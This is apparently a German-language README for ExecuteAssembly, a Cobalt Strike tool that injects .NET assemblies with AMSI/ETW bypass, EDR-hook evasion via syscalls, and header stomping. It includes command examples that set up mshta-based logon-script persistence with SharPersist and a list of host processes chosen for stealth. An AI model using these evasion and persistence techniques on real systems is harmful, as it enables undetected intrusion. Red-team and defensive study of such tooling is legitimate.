
Laden/Injizieren von .NET-Assemblys durch; Wiederverwendung des geladenen CLR AppDomainManager des Host-Prozesses (spawnto), Stomping des Loader/.NET-Assembly PE DOS-Headers, Unlinking .NET-bezogener Module, Umgehen von ETW+AMSI, Vermeiden von EDR-Hooks via NT static syscalls (x64) und Verstecken von Imports durch dynamisches Auflösen von APIs (Hash).
ExecuteAssembly ist eine Alternative zu CS execute-assembly, entwickelt in C/C++, und kann verwendet werden, um .NET-Assemblies zu laden/injizieren, indem es die geladenen CLR-Module/AppDomainManager des Host-Prozesses (spawnto) wiederverwendet, die PE-DOS-Header von Loader/.NET-Assembly überschreibt, .NET-bezogene Module aus dem PEB entfernt, ETW+AMSI umgeht, EDR-Hooks über statische NT-Syscalls (x64) vermeidet und Importe durch dynamisches Auflösen von APIs mittels Superfasthash-Hashing-Algorithmus verbirgt.
x64(syscalls): Diese Version basiert hauptsächlich auf der Verwendung von statischen Syscalls zur Umgehung von EDR-Hooks. Mit dieser Version kann nur die x64-Version der DLL erstellt werden (derzeit nur x64-Unterstützung).
x86|x64(PEB): Ruft benötigte API-Adressen zur Laufzeit dynamisch ab, indem es die EAP-Tabellen der PEB-Module durchläuft und APIs mittels Superfasthash-Hash auflöst. Berücksichtigt jedoch keine EDR-Hooks, die entweder in kernel32.dll oder ntdll.dll platziert wurden. Mit dieser Version können sowohl die x86- als auch die x64-DLLs erstellt werden, oder nur die x86-DLL und die x64(syscalls)-Version für die Erstellung der x64-DLL, um gängige EDR-Hooks zu umgehen.
Erstellen Sie die benötigten DLLs mit VS2017 und/oder Windows SDK 10.0.17134.0 (oder kompatiblen SDK-Versionen).
Stellen Sie sicher, dass gzip installiert ist und die folgenden Artefakte im selben Ordner liegen. Laden Sie dann das Aggressor-Skript "ExecuteAssembly.cna":
ExecuteAssembly.cna
ExecuteAssembly-x64.dll
ExecuteAssembly-x86.dll
CLI-Optionen:
--dotnetassembly: .NET Assembly to load/inject.
--assemblyargs: .NET assembly arguments.
--unlink-modules: Unlink .NET related modules such as CLR/MsCoree related DLLs from PEB data structures.
--stomp-headers: Stomp .NET assembly and reflective DLL PE DOS headers.
--etw: Bypass event tracing on windows (ETW).
--amsi: Bypass AMSI.
--spawnto: Choose spawnto process, list of .NET binaries loading the CLR by default when executed:
- PresentationHost.exe
- stordiag.exe
Überprüfen Sie spawnto-list.txt auf zusätzliche MS-Binärdateien, die standardmäßig die CLR laden und gute Kandidaten als Spawnto sind. (Vermeiden Sie die bekannten LOLBins, es sei denn, es handelt sich um einen Entwickler-Rechner.)
ExecuteAssembly --dotnetassembly /tmp/Seatbelt.exe --assemblyargs LogonSessions --unlink-modules --stomp-headers --amsi --etw --spawnto PresentationHost.exeExecuteAssembly --amsi --etw --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -c "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test2.hta" -k logonscript -m add --spawnto FileHistory.exeExecuteAssembly --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -k "logonscript" -v "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test.hta" -m remove --spawnto FileHistory.exeExecuteAssembly --unlink-modules --amsi --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query computername=localhost query="select * from win32_service" --spawnto FileHistory.exeExecuteAssembly --amsi --etw --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query query="select * from win32_process" --spawnto PresentationHost.exeWurde hauptsächlich für Cobalt Strike entwickelt und getestet, kann aber auch mit anderen C2-Frameworks (MSF usw.) verwendet werden. Beachten Sie, dass der DLLMAIN der Reflective DLL den One-Liner-Payload als Parameter (lpReserved) im folgenden Format erwartet (ohne ".");
AMSI_FLAG|ETW_FLAG|STOMPHEADERS_FLAG|UNLINKMODULES_FLAG|LL_FLAG.LENGTH_FLAG.B64_ENCODED_COMPRESSED_PAYLOAD [LEERZEICHENGETRENNTE ARGUMENTE]
AMSI_FLAG: 0|1 (entweder 0 oder 1)ETW_FLAG: 0|1STOMPHEADERS_FLAG: 0|1UNLINKMODULES_FLAG: 0|1LENGTH_FLAG: .NET-Assembly-Größe in BytesLL_FLAG: length_of(LENGTH_FLAG) (Ertragen Sie es einfach oder tun Sie so, als hätten Sie das nicht gelesen)B64_ENCODED_COMPRESSED_PAYLOAD: Gzip-komprimierte und Base64-kodierte .NET-Assembly.[LEERZEICHENGETRENNTE ARGUMENTE]: .NET-Assembly-Argumente- ScriptRunner.exe- caitstatic.exe- Microsoft.Uev.SyncController.exe- TsWpfWrp.exe- UevAgentPolicyGenerator.exe- UevAppMonitor.exe- FileHistory.exe- UevTemplateBaselineGenerator.exe- UevTemplateConfigItemGenerator.exe